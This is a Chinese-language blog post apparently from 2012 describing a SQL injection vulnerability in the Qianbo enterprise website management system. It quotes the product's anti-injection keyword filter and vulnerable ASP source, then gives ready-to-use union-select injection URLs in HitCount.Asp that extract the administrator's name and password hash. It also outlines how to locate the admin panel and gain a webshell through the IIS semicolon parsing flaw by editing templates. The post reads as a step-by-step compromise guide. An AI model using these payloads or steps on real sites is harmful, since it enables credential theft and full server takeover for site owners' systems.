千博企業網站管理系統HitCount.Asp頁面注入漏洞

fengling132發表於2012-05-02

程式都加入了防注入程式碼的,在NoSql.asp檔案中7kccopyd-code

<%

If EnableStopInjection = True Then

Dim Fy_Post, Fy_Get, Fy_In, Fy_Inf, Fy_Xh, Fy_db, Fy_dbstr

Fy_In = "’|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

Fy_Inf = Split(Fy_In, "|")

If Request.Form<>"" Then

For Each Fy_Post In Request.Form

For Fy_Xh = 0 To UBound(Fy_Inf)

If InStr(LCase(Request.Form(Fy_Post)), Fy_Inf(Fy_Xh))<>0 Then

Response.Write "<Script Language=’JavaScript’>alert(’警告:引數非法!’);</Script>"

Response.End

End If

Next

Next

End If

If Request.QueryString<>"" Then

For Each Fy_Get In Request.QueryString

For Fy_Xh = 0 To UBound(Fy_Inf)

If InStr(LCase(Request.QueryString(Fy_Get)), Fy_Inf(Fy_Xh))<>0 Then

Response.Write "<Script Language=’JavaScript’>alert(’警告:引數非法!’);</Script>"

Response.End

Response.End

End If

Next

Next

End If

End If

%>
沒有過濾cookie,不過程式在對變數傳入時都限制了整型的,所以我也沒辦法。

繼續看。

MemberLogin.Asp這個檔案

Dim LoginName, LoginPassword, VerifyCode, MemName, Password, GroupID, GroupName, Working, rs, sql

LoginName = Trim(request.Form("LoginName"))

LoginPassword = Md5(request.Form("LoginPassword"))

Set rs = server.CreateObject("adodb.recordset")

sql = "select * from Qianbo_Members where MemName=’"&LoginName&"’"

沒有加入防注入程式碼,不過卻是登入驗證頁面,如果是MSsql資料庫我們還好辦點。

這個時候,在HitCount.Asp這個檔案裡發現,檔案沒有呼叫防注入程式碼

<%

Dim rs, m_SQL

Dim m_ID

m_ID = ReplaceBadChar(Request.QueryString("id"))

m_LX = ReplaceBadChar(Request.QueryString("LX"))

action = ReplaceBadChar(Request.QueryString("action"))

If action = "count" Then

conn.Execute("update "&m_LX&" set ClickNumber = ClickNumber + 1 where ID=" & m_ID & "")

Else

m_SQL = "select ClickNumber from "&m_LX&" where ID=" & m_ID

Set rs = conn.Execute(m_SQL)

response.Write "document.write("&rs(0)&");"

rs.Close

Set rs = Nothing

End If

%>
就是這個檔案了。我們來構造注入語句

如下:

獲取管理密碼:

http://www.webshell.cc/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20password%20from%20qianbo_admin

 

獲取管理帳號:

http://www.webshell.cc/hitcount.asp?lx=Qianbo_about&id=1%20and%201=2%20union%20select%20adminname%20from%20qianbo_admin

找後臺就訪問http://www.webshell.cc/sitemap.xml吧!

拿SHELL:

IIS的asp;分號解析漏洞還是害了不少人,千博企業網站管理系統.後臺拿SHELL依舊是修改模板*.asp;*生成。

相關文章